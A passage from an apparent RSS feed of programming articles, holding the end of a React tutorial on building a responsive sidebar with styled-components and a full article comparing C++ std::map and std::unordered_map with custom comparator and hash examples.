    ${({ displaySidebar }) =&amp;gt;
      !displaySidebar &amp;amp;&amp;amp; &quot;box-shadow: 8px 0px 12px 0px rgba(0,0,0,0.1)&quot;};
    @media (min-width: 468px) {
      width: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;15rem&quot;};
      ${SidebarLogoWrapper} {
        justify-content: ${({ displaySidebar }) =&amp;gt;
          !displaySidebar &amp;amp;&amp;amp; &quot;space-between&quot;};
      }
      ${SidebarBrand} {
        display: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;block&quot;};
      }
      ${SidebarToggler} {
        display: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;block&quot;};
      }
      ${ItemWrapper} {
        justify-content: ${({ displaySidebar }) =&amp;gt;
          !displaySidebar &amp;amp;&amp;amp; &quot;flex-start&quot;};
      }
      ${ItemName} {
        display: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;block&quot;};
        margin-left: ${({ displaySidebar }) =&amp;gt; !displaySidebar &amp;amp;&amp;amp; &quot;0.5rem&quot;};
      }
    }
  }
  ::-webkit-scrollbar {
    width: 4px;
    height: 3px;
  }
  ::-webkit-scrollbar-track {
    border-radius: 10px;
    background-color: transparent;
  }
  ::-webkit-scrollbar-thumb {
    border-radius: 10px;
    background: #eaeced;
    &amp;amp;:hover {
      background: #d5e0f3;
    }
  }
  @media (max-width: 468px) {
    width: 5rem;
  }
`;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here we are making the styles according to the state that we created inside &lt;code&gt;Sidebar.jsx&lt;/code&gt;. Recall that we passed the parameters to these components. We can use those params to display and hide whatever we want. &lt;/p&gt;
&lt;p&gt;&lt;em&gt;Note the hierarchy. In order to control a child component from a parent component, the child component need to be declared before the parent component.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Now then, let's create a file that will render all the items of Sidebar. Inside the same directory, create a new file under the name &lt;code&gt;SidebarItems.jsx&lt;/code&gt; and add the following code to it:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;// src/components/Sidebar/SidebarItems.jsx
import React, { useState } from &quot;react&quot;;
import { Link } from &quot;react-router-dom&quot;;
import {
  ItemsList,
  ItemContainer,
  ItemWrapper,
  ItemName,
} from &quot;./SidebarStyles&quot;;

import { dummyData } from &quot;..&quot;;

const SidebarItems = ({ displaySidebar }) =&amp;gt; {
  const [activeItem, setActiveItem] = useState(0);

  return (
    &amp;lt;ItemsList&amp;gt;
      {dummyData.map((itemData, index) =&amp;gt; (
        &amp;lt;ItemContainer
          key={index}
          onClick={() =&amp;gt; setActiveItem(itemData.id)}
          {/* Adding active class when the user clicks */}
          className={itemData.id === activeItem ? &quot;active&quot; : &quot;&quot;}
        &amp;gt;
          &amp;lt;Link to={itemData.path}&amp;gt;
            &amp;lt;ItemWrapper&amp;gt;
              {itemData.icon}
              &amp;lt;ItemName displaySidebar={displaySidebar}&amp;gt;
                {itemData.name}
              &amp;lt;/ItemName&amp;gt;
            &amp;lt;/ItemWrapper&amp;gt;
          &amp;lt;/Link&amp;gt;
        &amp;lt;/ItemContainer&amp;gt;
      ))}
    &amp;lt;/ItemsList&amp;gt;
  );
};

export default SidebarItems;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;In this file, we are using &lt;code&gt;useState&lt;/code&gt; to manage the active item of the sidebar, &lt;code&gt;Link&lt;/code&gt; from React Router to redirect the user to the page, the dummy data from &lt;code&gt;src/components/index.js&lt;/code&gt;, and the styles from &lt;code&gt;src/components/Sidebar/SidebarStyles.js&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Inside the main function, we are creating a list and inside the list, we are mapping through the dummy data and rendering it using the styled components that we have imported. Note that we also created an active pseudo-selector inside &lt;code&gt;SidebarStyles.js&lt;/code&gt;, that will style the item that is active. The active class is added to the item only if the user clicks it.&lt;/p&gt;
&lt;p&gt;Here, we are also using the &lt;code&gt;Link&lt;/code&gt; component of React Router, for each item, to navigate to the item that the user clicks.&lt;/p&gt;
&lt;p&gt;Finally, we have the following output. &lt;em&gt;Play with the code however you wish and see the changes.&lt;/em&gt;&lt;br&gt;
&lt;img src=&quot;https://cdn.hashnode.com/res/hashnode/image/upload/v1661236257044/s8sdKS2zK.png?auto=compress,format&amp;amp;format=webp&quot; alt=&quot;image.png&quot;&gt;&lt;/p&gt;
&lt;p&gt;This is a simple Sidebar component. You can, however, extend it and make it much more amazing however you demand it. &lt;/p&gt;
&lt;h3 id=&quot;resources-&quot;&gt;Resources:&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://jealousgx-sidebar.vercel.app&quot;&gt;Live demo&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://github.com/JealousGx/snippets/tree/sidebar&quot;&gt;Source Code&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://styled-components.com&quot;&gt;styled-components&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://reactrouter.com&quot;&gt;React Router DOM&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Stay tuned with more of my blogs on &lt;a rel=&quot;nofollow&quot; href=&quot;https://jealous.dev&quot;&gt;my site&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;This is my first blog, so, there will be some mistakes in the script, however, the code works perfect. Kindly share tips that can help me make the articles more organized.&lt;/em&gt;&lt;/p&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/25230/build-a-responsive-sidebar-with-react-and-styled-components</guid>
<pubDate>Mon, 24 Aug 2026 07:34:57 +0000</pubDate>
</item>
<item>
<title>C++ STL: map vs unordered_map — Key Differences and How to Choose</title>
<link>https://coderlegion.com/25167/c-stl-map-vs-unorderedmap-key-differences-and-how-to-choose</link>
<description>&lt;p&gt;For a long time I used &lt;code&gt;std::map&lt;/code&gt; and &lt;code&gt;std::unordered_map&lt;/code&gt; interchangeably, and honestly I couldn't tell you why I picked one over the other. When I finally sat down and learned how they work under the hood — a red-black tree vs a hash table — choosing became obvious. This is the note I wish I had when I started.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;TL;DR: need keys in sorted order or range queries → &lt;code&gt;std::map&lt;/code&gt;. Just fast lookups → &lt;code&gt;std::unordered_map&lt;/code&gt;.&lt;/strong&gt; The rest of this post explains why.&lt;/p&gt;
&lt;h3 id=&quot;1-overview&quot;&gt;1. Overview&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;std::map&lt;/code&gt; and &lt;code&gt;std::unordered_map&lt;/code&gt; are containers used to store &lt;code&gt;{key, value}&lt;/code&gt; pairs, and provide efficient insert, search, and delete operations.&lt;/p&gt;
&lt;p&gt;The key difference: &lt;code&gt;std::map&lt;/code&gt; keeps its elements &lt;strong&gt;sorted by key&lt;/strong&gt;, while &lt;code&gt;std::unordered_map&lt;/code&gt; makes &lt;strong&gt;no guarantee about order&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Compare &lt;code&gt;std::map&lt;/code&gt; and &lt;code&gt;std::unordered_map&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;&lt;th&gt;&lt;/th&gt;&lt;th&gt;&lt;code&gt;map&lt;/code&gt;                                     &lt;/th&gt;&lt;th&gt;&lt;code&gt;unordered_map&lt;/code&gt;&lt;/th&gt;&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Time complexity           &lt;/td&gt;&lt;td&gt;O(log N)                                  &lt;/td&gt;&lt;td&gt;Average O(1), worst O(N)&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Ordering                  &lt;/td&gt;&lt;td&gt;sorted by key                             &lt;/td&gt;&lt;td&gt;no guaranteed order&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Underlying implementation &lt;/td&gt;&lt;td&gt;Red-black tree                            &lt;/td&gt;&lt;td&gt;Hash table&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Key requirements          &lt;/td&gt;&lt;td&gt;must support &lt;code&gt;&amp;lt;&lt;/code&gt; (or a custom comparator) &lt;/td&gt;&lt;td&gt;must support &lt;code&gt;==&lt;/code&gt; and be hashable&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;How to choose&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Use &lt;code&gt;map&lt;/code&gt; when you need to traverse in key order, do range queries (&lt;code&gt;lower_bound&lt;/code&gt;/&lt;code&gt;upper_bound&lt;/code&gt;), or when the key type doesn't have a good hash function.&lt;/li&gt;
&lt;li&gt;Use &lt;code&gt;unordered_map&lt;/code&gt; if you just need point lookups, frequent inserts, a large number of elements, and the hash distribution is uniform.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;2-space-complexity&quot;&gt;2. Space complexity&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;std::unordered_map&lt;/code&gt; spends extra memory on its bucket array, and it keeps the table less than fully packed (that's the load factor at work), so it typically uses more memory than &lt;code&gt;std::map&lt;/code&gt;. As you insert more elements, the table rehashes and the bucket array keeps growing.&lt;/p&gt;
&lt;h3 id=&quot;3-requirements-on-the-key&quot;&gt;3. Requirements on the key&lt;/h3&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;std::map&lt;/code&gt; stores its elements in a red-black tree, which requires comparing keys with &lt;code&gt;&amp;lt;&lt;/code&gt;. The standard library uses &lt;code&gt;operator&amp;lt;&lt;/code&gt; by default, but you can provide a custom comparator instead.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;For example — &lt;code&gt;Person&lt;/code&gt; as a key of &lt;code&gt;std::map&lt;/code&gt;, with a custom comparator:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;map&amp;gt;
#include &amp;lt;string&amp;gt;

struct Person {
    std::string name;
    int age;

    friend std::ostream&amp;amp; operator&amp;lt;&amp;lt;(std::ostream&amp;amp; os, const Person&amp;amp; p) {
        return os &amp;lt;&amp;lt; &quot;(&quot; &amp;lt;&amp;lt; p.name &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; p.age &amp;lt;&amp;lt; &quot;)&quot;;
    }
};

struct PersonCompare {
    bool operator()(const Person&amp;amp; lhs, const Person&amp;amp; rhs) const {
        if (lhs.age != rhs.age) { return lhs.age &amp;lt; rhs.age; }
        return lhs.name &amp;lt; rhs.name;
    }
};

int main() {
    std::map&amp;lt;Person, std::string, PersonCompare&amp;gt; myMap;
    myMap[{&quot;Alice&quot;, 25}]   = &quot;Engineer&quot;;
    myMap[{&quot;Bob&quot;, 20}]     = &quot;Student&quot;;
    myMap[{&quot;Charlie&quot;, 25}] = &quot;Designer&quot;;

    for (const auto&amp;amp; [key, value] : myMap) {
        std::cout &amp;lt;&amp;lt; key &amp;lt;&amp;lt; &quot; -&amp;gt; &quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; std::endl;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run it and notice: the output is strictly sorted by &lt;code&gt;(age, name)&lt;/code&gt; — that's the red-black tree at work.&lt;/p&gt;
&lt;blockquote&gt;&lt;p&gt;&lt;code&gt;std::unordered_map&lt;/code&gt; needs a hash function to decide which bucket each key goes into. Because different keys can end up with the same hash (a collision), it also needs &lt;code&gt;==&lt;/code&gt; to tell keys apart.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;And the same &lt;code&gt;Person&lt;/code&gt; as a key of &lt;code&gt;std::unordered_map&lt;/code&gt; — note the &lt;strong&gt;two&lt;/strong&gt; extra template parameters (hash + equality) instead of one comparator:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-cpp&quot;&gt;#include &amp;lt;iostream&amp;gt;
#include &amp;lt;unordered_map&amp;gt;
#include &amp;lt;string&amp;gt;

struct Person {
    std::string name;
    int age;

    friend std::ostream&amp;amp; operator&amp;lt;&amp;lt;(std::ostream&amp;amp; os, const Person&amp;amp; p) {
        return os &amp;lt;&amp;lt; &quot;(&quot; &amp;lt;&amp;lt; p.name &amp;lt;&amp;lt; &quot;, &quot; &amp;lt;&amp;lt; p.age &amp;lt;&amp;lt; &quot;)&quot;;
    }
};

struct PersonHash {
    std::size_t operator()(const Person&amp;amp; p) const noexcept {
        return std::hash&amp;lt;std::string&amp;gt;{}(p.name) ^ (std::hash&amp;lt;int&amp;gt;{}(p.age) &amp;lt;&amp;lt; 1);
    }
};

struct PersonEqual {
    bool operator()(const Person&amp;amp; lhs, const Person&amp;amp; rhs) const noexcept {
        return lhs.age == rhs.age &amp;amp;&amp;amp; lhs.name == rhs.name;
    }
};

int main() {
    std::unordered_map&amp;lt;Person, std::string, PersonHash, PersonEqual&amp;gt; myMap;
    myMap[{&quot;Alice&quot;, 25}]   = &quot;Engineer&quot;;
    myMap[{&quot;Bob&quot;, 20}]     = &quot;Student&quot;;
    myMap[{&quot;Charlie&quot;, 25}] = &quot;Designer&quot;;

    for (const auto&amp;amp; [key, value] : myMap) {
        std::cout &amp;lt;&amp;lt; key &amp;lt;&amp;lt; &quot; -&amp;gt; &quot; &amp;lt;&amp;lt; value &amp;lt;&amp;lt; std::endl;
    }
    return 0;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Run this one too: the output order will be different — and not sorted. That single difference in output is the &quot;Ordering&quot; row of the table above, live.&lt;/p&gt;
&lt;p&gt;Two details worth noticing:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;std::hash&amp;lt;std::string&amp;gt;{}(p.name) ^ (std::hash&amp;lt;int&amp;gt;{}(p.age) &amp;lt;&amp;lt; 1)&lt;/code&gt; combines the two field hashes with XOR; the &lt;code&gt;&amp;lt;&amp;lt; 1&lt;/code&gt; shift keeps &lt;code&gt;(name, age)&lt;/code&gt; pairs from hashing symmetrically.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PersonEqual&lt;/code&gt; exists because of collisions: two different &lt;code&gt;Person&lt;/code&gt;s can land in the same bucket, and &lt;code&gt;==&lt;/code&gt; is what tells them apart — exactly the chaining mechanism in the Q&amp;amp;A below.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id=&quot;4-q-amp-a&quot;&gt;4. Q&amp;amp;A&lt;/h3&gt;
&lt;p&gt;Q: &lt;strong&gt;How does &lt;code&gt;unordered_map&lt;/code&gt; deal with hash collisions?&lt;/strong&gt;&lt;br&gt;
A: C++ STL uses chaining — elements in the same bucket are linked into a list. When inserting, you attach to the end of the chain; when searching, you first use the hash to find the bucket, then traverse the list comparing keys. The more collisions there are, the longer the chain, and the worse the performance.&lt;/p&gt;
&lt;p&gt;Q: &lt;strong&gt;Why is the worst case O(n)?&lt;/strong&gt;&lt;br&gt;
A: In the extreme case where all keys hash to the same bucket, the whole table degenerates into a linked list, and searching turns into a linear scan.&lt;/p&gt;
&lt;h3 id=&quot;reference-1&quot;&gt;Reference&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/container/map&quot;&gt;std::map - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a rel=&quot;nofollow&quot; href=&quot;https://en.cppreference.com/w/cpp/container/unordered_map&quot;&gt;std::unordered_map - cppreference.com&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
<category>Articles</category>
<guid isPermaLink="true">https://coderlegion.com/25167/c-stl-map-vs-unorderedmap-key-differences-and-how-to-choose</guid>
<pubDate>Sun, 23 Aug 2026 10:23:17 +0000</pubDate>
</item>
</channel>
</rss>